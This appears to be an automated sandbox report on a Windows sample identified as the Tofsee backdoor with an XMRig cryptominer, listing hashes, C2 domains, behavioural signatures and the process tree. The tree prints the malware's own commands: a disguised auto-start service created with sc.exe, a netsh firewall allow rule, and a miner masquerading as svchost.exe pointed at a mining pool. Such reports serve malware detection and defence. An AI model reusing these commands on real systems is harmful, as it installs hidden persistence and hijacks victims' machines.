Analysis

  • max time kernel
    160s
  • max time network
    167s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-05-2023 15:41

General

  • Target

    file.exe

  • Size

    303KB

  • MD5

    531df55984e2b66ad9f0dbd639de601e

  • SHA1

    dc9d0df60d45c19e668e99a39946d1d39a5d9a09

  • SHA256

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f

  • SHA512

    1a2029171755e8c7f4f374af5544eef317a0d1635272991b7535f4406a99b4ef5d70985602fd85c8b9eb40de2215c81be496157821f78a013cea74ad2848e72b

  • SSDEEP

    3072:MuFL7HO/Wc2L/rIUpqfM/FqdAt/XOM5TJDTnmhd+:xFL7HQ2LrI7fg2AtXJnmv+

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3488
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\npfgisfc\
      2⤵
        PID:3412
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dtpezrpx.exe" C:\Windows\SysWOW64\npfgisfc\
        2⤵
          PID:2020
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create npfgisfc binPath= "C:\Windows\SysWOW64\npfgisfc\dtpezrpx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description npfgisfc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start npfgisfc
          2⤵
          • Launches sc.exe
          PID:3316
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4632
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 580
          2⤵
          • Program crash
          PID:4648
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3488 -ip 3488
        1⤵
          PID:4044
        • C:\Windows\SysWOW64\npfgisfc\dtpezrpx.exe
          C:\Windows\SysWOW64\npfgisfc\dtpezrpx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3700
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3260
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1068
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 560
            2⤵
            • Program crash
            PID:5072
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3700 -ip 3700
          1⤵
            PID:380

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dtpezrpx.exe

            Filesize

            11.1MB

            MD5

            cf0b8ed3d9446f5800c16bcfc1819772

            SHA1

            6edf3cabe5698e78d4f40af97e816a568249df82

            SHA256

            b722298819ee8aade95ca04bed77b79624bd181d9f52914bd910a95afcaa8ad0

            SHA512

            2f3436f506ac7a6e6c37f57a5c1b6ac851e3cdc9b7ec8bd1f6baf4120671d088200e63b9218262ee644bba533e190df3a806000c16d3e2336d8ea824fa793062

          • C:\Windows\SysWOW64\npfgisfc\dtpezrpx.exe

            Filesize

            11.1MB

            MD5

            cf0b8ed3d9446f5800c16bcfc1819772

            SHA1

            6edf3cabe5698e78d4f40af97e816a568249df82

            SHA256

            b722298819ee8aade95ca04bed77b79624bd181d9f52914bd910a95afcaa8ad0

            SHA512

            2f3436f506ac7a6e6c37f57a5c1b6ac851e3cdc9b7ec8bd1f6baf4120671d088200e63b9218262ee644bba533e190df3a806000c16d3e2336d8ea824fa793062

          • memory/1068-188-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-199-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-198-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-197-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-196-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-195-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-194-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1068-193-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/3260-168-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-172-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-153-0x0000000002380000-0x0000000002386000-memory.dmp

            Filesize

            24KB

          • memory/3260-156-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-159-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-160-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-161-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-163-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-165-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-164-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-162-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-166-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-140-0x0000000000D10000-0x0000000000D25000-memory.dmp

            Filesize

            84KB

          • memory/3260-169-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-167-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-170-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-171-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3260-173-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-175-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-174-0x0000000002390000-0x00000000023A0000-memory.dmp

            Filesize

            64KB

          • memory/3260-176-0x00000000023E0000-0x00000000023E5000-memory.dmp

            Filesize

            20KB

          • memory/3260-180-0x0000000007B00000-0x0000000007F0B000-memory.dmp

            Filesize

            4.0MB

          • memory/3260-179-0x00000000023E0000-0x00000000023E5000-memory.dmp

            Filesize

            20KB

          • memory/3260-183-0x0000000007B00000-0x0000000007F0B000-memory.dmp

            Filesize

            4.0MB

          • memory/3260-184-0x00000000023F0000-0x00000000023F7000-memory.dmp

            Filesize

            28KB

          • memory/3260-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3260-148-0x0000000000D10000-0x0000000000D25000-memory.dmp

            Filesize

            84KB

          • memory/3260-146-0x0000000000D10000-0x0000000000D25000-memory.dmp

            Filesize

            84KB

          • memory/3260-143-0x0000000000D10000-0x0000000000D25000-memory.dmp

            Filesize

            84KB

          • memory/3260-144-0x0000000000D10000-0x0000000000D25000-memory.dmp

            Filesize

            84KB

          • memory/3488-135-0x0000000002790000-0x00000000027A3000-memory.dmp

            Filesize

            76KB

          • memory/3488-139-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/3700-145-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB